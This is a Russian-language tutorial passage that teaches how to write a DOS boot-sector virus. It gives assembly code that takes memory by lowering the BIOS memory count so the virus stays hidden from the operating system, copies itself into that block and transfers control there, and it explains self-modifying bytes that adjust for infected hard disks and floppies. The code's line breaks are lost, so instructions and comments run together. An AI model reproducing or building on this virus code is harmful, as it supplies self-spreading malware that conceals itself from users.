Вирус получает управление

Начало работы

Как начинается распространение вируса

В отличие от файловых вирусов, для внедрения загрузочного вируса в компьютер достаточно просто попробовать загрузиться с зараженной дискеты, при этом дискета не обязательно должна быть загрузочной. В этом состоит особенность вирусов этого типа. Итак, чтобы вирус начал распространяться, достаточно заразить им гибкий диск, а потом попытаться загрузиться с него на той или иной машине.

Как и прежде,будем разрабатывать загрузочный вирус в виде COM-программы. Поэтому:

prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h

Как вы уже знаете,загрузочный вирус получает управление только при загрузке операционной системы. Далее он должен " отрезать " у DOS несколько килобайтов памяти и переписать свой код в полученную область. Для выполнения этих функций можно предложить такой фрагмент:

my_prg: xor ax,ax ; mov ss,ax ; mov sp,7bfeh ;Установка собс- ;твенного стека push ax ;Сохраним в сте- push bx ;ке используемые push cx ;регистры push dx ; push si ; push ds ; push es ; pushf ; ; push cs ;DS = CS pop ds ; ; sub word ptr ds:[0413h],2 ;"Отрежем" у DOS mov ax,ds:[0413h] ;два килобайта mov cl,6 ;памяти и вычис- ;лим sal ax,cl ;сегментный ад- ;рес,по которому ;находится полу- ;ченный блок mov es,ax ;Поместим адрес ;в ES xor si,si ;И скопируем код mov cx,prg_lenght ;вируса длиной prg_copy: db 8ah ;"prg_lenght" в db 9ch ;память по адре- additor db 00h ;су ES : 0000h db 7ch ;Сам код при за- mov byte ptr es:[si],bl;грузке помещае- inc si ;тся BIOS по ад- loop cs:prg_copy ;ресу 0000:7C00h ; push ax ;Запишем в стек mov ax,to_read_boot ;адрес ES:to_re- push ax ;ad_boot и осу- db 0cbh ;ществим переход ;на этот адрес

Поскольку операционная система к моменту начала выполнения этого фрагмента еще не загружена, "увести" у вычислительной системы два килобайта памяти не предсталяет никакого труда. Для этого просто следует уменьшить на два число,расположенное в области данных BIOS по адресу : 0000:0413h. Загрузившись, операционная система просто не будет замечать занятую вирусом память. Даже такие программы, как RELEASE или Volkov Commander (нажмите ALT + F5) не помогут обнаружить, где именно "притаился" вирус (правда, это не так трудно рассчитать, но для рядового " юзера " такая задача непосильна).

Машинный код

db 8ah ; db 9ch ; additor db 00h ; db 7ch ;

является кодом команды: "mov bl, byte ptr [si + 7C00h]" и модифицируется в зависимости от того, что именно удалось заразить вирусу - если загрузка происходит с винчестера, то код будет иметь вид:

db 8ah ; db 9ch ; additor db 00h ; db 7ch ;

а если с дискеты:

db 8ah ; db 9ch ; additor db 55h ; db 7ch ;

Дело в том, что в MBR жесткого диска тело вируса располагается по смещению 0000h от начала сектора, а в BOOT - записи дискеты это же смещение равно 0055h ( см. п. 1.11 ).При заражении того или иного диска вирус определяет необходимое значение поля "additor", которое потом будет записано в загрузочный сектор. Команда " ret far " для краткости записана в виде машинного кода 0CBh.

Идея установки собственного стека заимствована из настоящей MBR жесткого диска. Если оставить стек "как есть", то в некоторых случаях система будет зависать при загрузке - проверено на практике!